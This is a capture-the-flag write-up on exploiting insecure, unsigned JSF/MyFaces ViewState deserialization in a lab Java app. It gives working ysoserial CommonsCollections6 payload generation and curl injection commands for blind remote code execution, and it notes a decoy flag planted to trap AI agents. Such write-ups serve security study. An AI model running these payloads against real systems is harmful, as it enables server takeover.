DecisionForge
DecisionForge
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-04 | Status: Solved Techniques: blind_rce_via_file_write, commons_collections_gadget_chain, honeypot_flag_identification, java_serialization_analysis, jsf_viewstate_deserialization
Summary
Task: Java enterprise app (DecisionForge) using JSF 1.2 with Apache MyFaces 1.1.10 storing unsigned/unencrypted serialized ViewState. Solution: Exploited Java deserialization via CommonsCollections6 gadget chain in ViewState to achieve blind RCE, copied flag to web-accessible uploads directory.
DecisionForge — HackAdvisor
Description
You are testing DecisionForge, an enterprise business rules management platform built by Forge Logic Inc. The application provides teams with tools to define, deploy, and monitor automated decision rules through a web-based interface. DecisionForge features a visual rules editor, deployment pipeline for staging and production, execution metrics dashboard, and a REST API for rule invocation. The platform is built on a Java enterprise stack and serves multiple team roles including Rules Authors, Deployers, and Viewers. Your goal is to find and exploit a vulnerability in the application's web framework that allows you to execute arbitrary commands on the server and retrieve the flag.
English summary: Enterprise Java web application using JSF/MyFaces with insecure ViewState serialization. Goal is to achieve RCE and read the flag file.
Analysis
Reconnaissance
- Server: nginx/1.25.5 (reverse proxy) → Apache Tomcat 9.0.115
- Framework: JavaServer Faces (JSF) 1.2 with Apache MyFaces 1.1.10
- Runtime: Java 11 (OpenJDK)
- View Layer: Facelets 1.1.14
- Database: H2 Embedded
- Header:
X-Powered-By: JSF/1.2 - Pages:
/login.jsf,/dashboard.jsf,/rules.jsf,/deployments.jsf,/settings.jsf,/api-docs - Credentials:
user@test.com / password123
Vulnerability Identification
The login form at /login.jsf contains a hidden field javax.faces.ViewState with a base64-encoded value starting with rO0ABX — the base64 encoding of Java serialization magic bytes aced0005.
Key findings:
- ViewState is a raw Java serialized HashMap
- ViewState is NOT encrypted and NOT signed (no MAC/HMAC)
- Contains:
javax.faces.ViewState.sequence(Integer), form data, view path - Apache MyFaces 1.1.x stores ViewState as unencrypted, unsigned serialized Java objects — classic deserialization vulnerability
Honeypot Flag
Every page contains a fake flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in HTML comments and hidden divs. The name literally says "decoy not real trap for bots" — designed to trick AI agents and automated scanners. This is NOT the real flag.
Solution
Step 1: Generate Deserialization Payload
Used ysoserial to generate a CommonsCollections6 gadget chain payload that copies the flag to a web-accessible directory:
bash read-only • copy allowedjava --add-opens java.base/java.lang=ALL-UNNAMED \ --add-opens java.base/java.util=ALL-UNNAMED \ --add-opens java.base/java.lang.reflect=ALL-UNNAMED \ --add-opens java.base/java.io=ALL-UNNAMED \ --add-opens java.base/java.math=ALL-UNNAMED \ --add-opens java.base/java.net=ALL-UNNAMED \ --add-opens java.base/sun.reflect.annotation=ALL-UNNAMED \ --add-opens java.management/javax.management=ALL-UNNAMED \ --add-opens java.rmi/sun.rmi.server=ALL-UNNAMED \ --add-opens java.rmi/sun.rmi.transport=ALL-UNNAMED \ --add-opens java.rmi/sun.rmi.transport.tcp=ALL-UNNAMED \ --add-opens java.desktop/java.beans=ALL-UNNAMED \ -jar ysoserial.jar CommonsCollections6 \ 'cp /root/flag.txt /app/data/uploads/flag.txt' | base64 | tr -d '\n'
Step 2: Submit Malicious ViewState
Submitted the payload as the javax.faces.ViewState parameter in the login form POST request:
bash read-only • copy allowedcurl -sk -X POST "$TARGET/login.jsf" \ --data-urlencode "javax.faces.ViewState=$PAYLOAD" \ -d "j_id_1:loginForm:email=test@test.com" \ -d "j_id_1:loginForm:password=test" \ -d "j_id_1:loginForm_SUBMIT=1"
The server deserialized the malicious ViewState, triggering the CommonsCollections gadget chain which executed cp /root/flag.txt /app/data/uploads/flag.txt.
Step 3: Retrieve the Flag
bash read-only • copy allowedcurl -sk "$TARGET/uploads/flag.txt" # FLAG{REDACTED}
Key Insights
- Timing-based detection (sleep) didn't work because the process was likely forked/async
- The correct approach was to use a command with a persistent side effect (file copy to a web-accessible directory) rather than relying on timing
- CommonsCollections5 and CommonsCollections6 use the same underlying transformer chain (ChainedTransformer + InvokerTransformer + LazyMap + TiedMapEntry) — the difference is only the deserialization trigger class
- The webapp root is at
/app/data/with uploads served at/uploads/ - The
--add-opensflags are needed when generating payloads on Java 17+ due to module system restrictions